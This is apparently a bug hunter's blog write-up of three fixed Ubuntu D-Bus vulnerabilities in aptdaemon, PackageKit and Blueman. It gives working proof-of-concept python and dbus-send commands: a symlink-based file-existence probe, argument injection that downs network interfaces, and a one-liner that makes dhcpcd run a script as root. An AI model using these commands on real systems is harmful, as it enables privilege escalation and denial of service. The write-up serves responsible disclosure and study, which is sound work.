Introduction

I had some time off and decided to hunt for some bugs in my Ubuntu Desktop installation. My target was going to be the D-Bus interface.

D-Bus (Desktop-Bus) is an Inter-Process Communication (IPC) and remote procedure call (RPC) mechanism that allows communication between multiple processes running concurrently on the same machine. It is used in many Linux distributions nowadays.

On Linux desktop environments we have a single system bus, used for communication between user processes and system processes, and for each logon session we have a session bus, for communication between processes in a single desktop session.

My target was the system bus. System processes that open up an interface for communication from userland, that sounds like trouble!

Getting around

My first goal was understanding the syntax and feeling of the D-Bus. There is an excellent interactive tool called D-Feet to make life easier.

There is a clear hierarchy in the D-Bus specification. Objects are processes that expose themselves on the D-Bus. An object can implement multiple interfaces and each interface can have multiple methods. D-Bus uses interfaces to provide a namespacing mechanism for methods. An interface also has Properties, which are typed variables that can often be read and sometimes also changed.

D-Feet showed which Interfaces are implemented and which methods are available. In the background it uses the Introspect method of the org.freedesktop.DBus.Introspectable interface that is implemented by many objects to do just that.

Apart from D-Feet, the most straightforward way to interact with the D-Bus is via the dbus-send shell command. For example the next command calls the ListNames method on the org.freedesktop.DBus Interface and generates the list that D-Feet shows on the left.

dbus-send --system --print-reply \
  --dest=org.freedesktop.DBus \
  /org/freedesktop/DBus \
  org.freedesktop.DBus.ListNames

For me the most intuitive way to handle multiple interactive calls to D-Bus methods is the python-dbus module. It's easy to script any interaction with a D-Bus method.

Many methods are protected with PolicyKit, to make sure the calling user has the right privileges to perform the action. You might have seen these popups, which are the result of a D-Bus method call that is protected by PolicyKit.

I was most interested in vulnerabilities that anyone could trigger without authentication, so I focused on methods that were not protected with PolicyKit.

Aptdaemon Information Disclosure (CVE-2020-15703)

The first bug that I found involves aptdaemon. Once you introspect the org.apt.debian object with D-Feet, you will notice a new running process in your processlist.

/usr/bin/python3 /usr/sbin/aptd

So aptdaemon is written in python. I could dive into the code, but this time my laziness reached record levels and I just wanted to know what syscalls happened in the background, so I spawned an strace on the process.

strace -s 65535 -f -p <PID>

I started playing around with a couple of the methods and entering garbage. One method in particular which sounded interesting was the InstallFile method. It requires two arguments, a filepath of the package to install and a Boolean force. If you call the method, aptdaemon creates a D-Bus object called a transaction, which exposes new methods such as Simulate() and Run(). It also has several properties that are writable. Somehow we can simulate installing a .deb package file. I wrote a simple python script to experiment with that.

import dbus

bus = dbus.SystemBus()

apt_dbus_object = bus.get_object("org.debian.apt", "/org/debian/apt")
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.debian.apt")  

# just use any valid .deb file
trans = apt_dbus_interface.InstallFile("/var/cache/apt/archives/dbus_1.12.16-2ubuntu2.1_amd64.deb", False)
apt_trans_dbus_object = bus.get_object("org.debian.apt", trans)

apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.debian.apt.transaction")

apt_trans_dbus_interface.Simulate()

Well this does absolutely nothing. The Run() method which would actually install the .deb file requires authorization. But while playing around I noticed the locale property, which could be set as follows.

properties_manager = dbus.Interface(apt_trans_dbus_interface, 'org.freedesktop.DBus.Properties')
properties_manager.Set("org.debian.apt.transaction", "Locale", "AAAA")

This results in the following error message.

Traceback (most recent call last):

  File "/usr/lib/python3/dist-packages/defer/__init__.py", line 487, in _inline_callbacks
    result = gen.send(result)
  File "/usr/lib/python3/dist-packages/aptdaemon/core.py", line 1226, in _set_property
    self._set_locale(value)
  File "/usr/lib/python3/dist-packages/aptdaemon/core.py", line 826, in _set_locale
    (lang, encoding) = locale._parse_localename(str(locale_str))
  File "/usr/lib/python3.8/locale.py", line 499, in _parse_localename
    raise ValueError('unknown locale: %s' % localename)
ValueError: unknown locale: AAAA

The _parse_localename method, upon other things mainly checks if there is a "." In the locale name. The following call succeeds.

properties_manager.Set("org.debian.apt.transaction", "Locale", "AA.BB")

But my eye caught something interesting here in the strace output.

[pid 23275] stat("/usr/share/locale/AA/LC_MESSAGES/aptdaemon.mo", 0x7ffe616b0740) = -1 ENOENT (No such file or directory)

I changed the value to "/tmp.BB", and voila.

[pid 23275] stat("/tmp/LC_MESSAGES/aptdaemon.mo", 0x7ffe616b0740) = -1 ENOENT (No such file or directory)

This looks like I can have it read any .mo locale file here. I spent a couple of hours reversing the .mo format and can now tell you all about the structure of the .po format which it is generated from, but I could not get it to do anything interesting.

Then I realized I could make a symlink called /tmp/LC_MESSAGES/aptdaemon.mo and point it to any file on the filesystem. For example to "/root/.bashrc".

ln -s /root/.bashrc /tmp/LC_MESSAGES/aptdaemon.mo

That results in another error.

OSError: [Errno 0] Bad magic number: '/tmp/LC_MESSAGES/aptdaemon.mo'

But it discloses information that I'm not supposed to be able to know, the existence of any file on the filesystem, for example in /root, where an unprivileged user should not be able to look into. A very small bug, but a bug nonetheless.

PackageKit Information Disclosure (CVE-2020-16121)

I found a similar bug in PackageKit. After the whole ordeal with aptdaemon, this one popped up immediately.

The org.freedesktop.PackageKit Interface on the /org/freedesktop/PackageKit object has a method CreateTransaction(). This creates a Transaction object which, among others, has the InstallFiles(), GetFilesLocal() and GetDetailsLocal() methods. All methods have a list of filepaths as their argument.

Again, this allows us to determine the existence of any file on the filesystem, but this time if a file exists we also get an error message that discloses the MIME type.

A simple python script demonstrates this.

import dbus

bus = dbus.SystemBus()

apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit")  

trans = apt_dbus_interface.CreateTransaction()

apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans)
apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction")

apt_trans_dbus_interface.InstallFiles(0, ["/root/.bashrc"])

This results in the error message: MIME type text/plain not supported.

Blueman Local Privilege Escalation or Denial of Service (CVE-2020-15238)

This bug is a little more interesting. Playing around with the D-Bus methods of the org.blueman.Mechanism interface I noticed I was never asked for authorization. This was going to be an interesting target.

The developer of the package later confirmed that there was an issue with the Debian package: It only recommends policykit-1 but blueman does not support "runtime-optional" Polkit-1 support. You have to decide during the build and as libpolkit-agent-1-dev is not a build dependency Polkit-1 support is always disabled. Thumbs up for the developer by the way, he jumped onto this bug immediately and pushed out a fix in no time, while also coordinating a release date between the Ubuntu and Debian security teams.

The DhcpClient() method soon caught my attention. It requires a single string as argument. Let's check with strace what syscalls are sent in the background. I used this oneliner to bring up the daemon and attach an strace process to it without worrying too much about the short time it's alive or the PID.

dbus-send --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.freedesktop.DBus.Introspectable.Introspect && \
  strace -f -s 65535 -e execve -p \
  $(pgrep -f blueman-mechanism) 

Then I fired off my first test.

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"AAAA"

There is a lot of output from the strace process, but filtering on "execve" provided a very interesting observation.

[pid 30096] execve("/usr/sbin/dhclient", ["/usr/sbin/dhclient", "-e", "IF_METRIC=100", "-1", "AAAA"], 0x7ffd6facb700 /* 4 vars */) = 0
[pid 30104] execve("/sbin/dhclient-script", ["/sbin/dhclient-script"], 0x55c8e9ae11e0 /* 6 vars */) = 0
[pid 30105] execve("/usr/bin/run-parts", ["run-parts", "--list", "/etc/dhcp/dhclient-enter-hooks.d"], 0x556ae347a3c8 /* 12 vars */) = 0
[pid 30106] execve("/usr/sbin/avahi-autoipd", ["/usr/sbin/avahi-autoipd", "-c", "AAAA"], 0x556ae347acf0 /* 12 vars */) = 0
[pid 30107] execve("/usr/sbin/ip", ["ip", "link", "set", "dev", "AAAA", "up"], 0x556ae3483178 /* 12 vars */) = 0
[pid 30110] execve("/usr/bin/run-parts", ["run-parts", "--list", "/etc/dhcp/dhclient-exit-hooks.d"], 0x556ae34824d8 /* 12 vars */) = 0

Oh my! That's a lot of execution happening in the background. It seems my parameter is used as an argument to dhclient, avahi-autopid and ip. Let's see what we can do with that.

I dove into the dhclient manual to see if there are any interesting arguments I could use. The following stood out.

       -sf script-file
              Path  to  the  network  configuration script invoked by dhclient when it gets a lease.  If unspecified, the default /sbin/dhclient-script is used.  See dhclient-script(8) for a description of
              this file.

Indeed if I run the command "dhclient -sf /tmp/eye" as root, the dhclient starts running in the background, requests a new DHCP lease and finally runs the shell script "/tmp/eye". Let's see what happens if we try this with our blueman-mechanism method.

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"-sf /tmp/eye"

Well, that failed. Let's see why. From the strace output we notice the following.

[pid 30541] execve("/usr/sbin/dhclient", ["/usr/sbin/dhclient", "-e", "IF_METRIC=100", "-1", "-sf /tmp/eye"], 0x7ffe012977c0 /* 4 vars */ <unfinished ...>
...
[pid 30542] sendto(3, "<27>Oct 26 10:40:46 dhclient[30542]: Unknown command: -sf /tmp/x", 64, MSG_NOSIGNAL, NULL, 0) = 64
...
[pid 30542] sendto(3, "<27>Oct 26 10:40:46 dhclient[30542]: Usage: dhclient [-4|-6] [-SNTPRI1dvrxi] [-nw] [-p <port>] [-D LL|LLT]\n                [--dad-wait-time <seconds>] [--prefix-len-hint <length>]\n                [--decline-wait-time <seconds>]\n                [--address-prefix-len <length>]\n                [-s server-addr] [-cf config-file]\n                [-df duid-file] [-lf lease-file]\n                [-pf pid-file] [--no-pid] [-e VAR=val]\n                [-sf script-file] [interface]*\n       dhclient {--version|--help|-h}", 515, MSG_NOSIGNAL, NULL, 0) = 515

The dhclient binary has a very specific way of parsing arguments and as we can see the "-sf /tmp/eye" argument is parsed as a single flag that does not exist. Some binaries would allow "-sf=/tmp/eye" or "-sf/tmp/eye", but the pickiness of dhclient saved the day here, otherwise this would be a very critical bug.

Now let's see if we can inject into the arguments of the ip command.

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 down"

dhclient complains, but the execution continues.

[pid 30687] sendto(3, "<27>Oct 26 10:46:05 dhclient[30687]: Error getting hardware address for \"ens33 down\": No such device", 100, MSG_NOSIGNAL, NULL, 0) = 100

Here we see the injection into the ip command. This time our argument is split into multiple arguments, so we can play around a little more with arguments to the ip command.

[pid 30694] execve("/usr/sbin/ip", ["ip", "link", "set", "dev", "ens33", "down", "up"], 0x55d963cbd180 /* 12 vars */ <unfinished ...>

That's funny, this is actually valid syntax and the interface is kept up. Now, how to get around the up that's added?

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 down alias"

[pid 30752] sendto(3, "<27>Oct 26 10:51:50 dhclient[30752]: ens33 down alias: interface name too long (is 16)", 86, MSG_NOSIGNAL, NULL, 0strace: Process 30755 attached

Ah! This error has dhclient exit with a different return code and the execution flow does not reach the ip command. So we're limited to 15 characters here. But ip also accepts shorthand versions so al is an alias for alias.

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 down al"

[pid 30888] execve("/usr/sbin/ip", ["ip", "link", "set", "dev", "ens33", "down", "al", "up"], 0x55c24f67f188 /* 12 vars */) = 0

This indeed brings the interface down and creates an alias up for ens33. That is a DoS vulnerability as any low privileged user can trigger this. Let's see if we can find other interesting arguments to the ip command.

From the ip-link manual.

      xdp object | pinned | off
              set (or unset) a XDP ("eXpress Data Path") BPF program to run on every packet at driver level.  ip link output will indicate a xdp flag for the networking device. If the driver does not have
              native XDP support, the kernel will fall back to a slower, driver-independent "generic" XDP variant. The ip link output will in that case indicate xdpgeneric instead of xdp only. If the
              driver does have native XDP support, but the program is loaded under xdpgeneric object | pinned then the kernel will use the generic XDP variant instead of the native one.  xdpdrv has the op‐
              posite effect of requestsing that the automatic fallback to the generic XDP variant be disabled and in case driver is not XDP-capable error should be returned.  xdpdrv also disables hardware
              offloads.  xdpoffload in ip link output indicates that the program has been offloaded to hardware and can also be used to request the "offload" mode, much like xdpgeneric it forces program to
              be installed specifically in HW/FW of the apater.

              object FILE - Attaches a XDP/BPF program to the given device. The FILE points to a BPF ELF file (f.e. generated by LLVM) that contains the BPF program code, map specifications, etc. If a
              XDP/BPF program is already attached to the given device, an error will be thrown. If no XDP/BPF program is currently attached, the device supports XDP and the program from the BPF ELF file
              passes the kernel verifier, then it will be attached to the device. If the option -force is passed to ip then any prior attached XDP/BPF program will be atomically overridden and no error
              will be thrown in this case. If no section option is passed, then the default section name ("prog") will be assumed, otherwise the provided section name will be used. If no verbose option is
              passed, then a verifier log will only be dumped on load error.  See also EXAMPLES section for usage examples.

So I can attach an XDP object to any interface. That would require a little more than 15 characters. How to bring that down? Let's rename the interface first!

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 down al"

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 name a"

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"a xdp o /tmp/o"

Ok, so now we can attach an XDP object to any interface. I could dive deeper into how XDP and eBPF works and if there would be any security issues related to the fact I can now attach such an object to any interface, but that's a huge new project. If there are any experts out there, please let me know if you manage to get code execution with this method!

Finally, I discovered that blueman also supports other DHCP clients. From the blueman code:

COMMANDS = [
    ["dhclient", "-e", "IF_METRIC=100", "-1"],
    ["dhcpcd", "-m", "100"],
    ["udhcpc", "-t", "20", "-x", "hostname", socket.gethostname(), "-n", "-i"]
]

for command in self.COMMANDS:
    path = have(command[0])
    if path:
        self._command = [path] + command[1:] + [self._interface]

So if dhclient is not available, but dhcpcd is, we have another possibility to get code execution. Luckily (for us), dhcpcd also has the ability to run a script and is a lot less picky in its argument format. This leaves us with a Local Privilege Escalation oneliner that works on any Ubuntu or Debian system that has dhcpcd instead of dhclient.

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"-c/tmp/eye"

Any unprivileged user can run this and any code put in the shellscript /tmp/eye is run as root!

Conclusions

There are always bugs out there. Programs like hackerone and bugcrowd are amazing opportunities for companies to tighten their security by offering security researchers substantial amounts of money for reported vulnerabilities. But the open source community needs our help as well. So once in a while, give a shot at it for fun instead of profit.

Thanks to the Ubuntu security team and Christopher Schramm, the developer of Blueman, for their quick and friendly response and hard work to fix these issues.

Ook bug hunten tijdens je werk?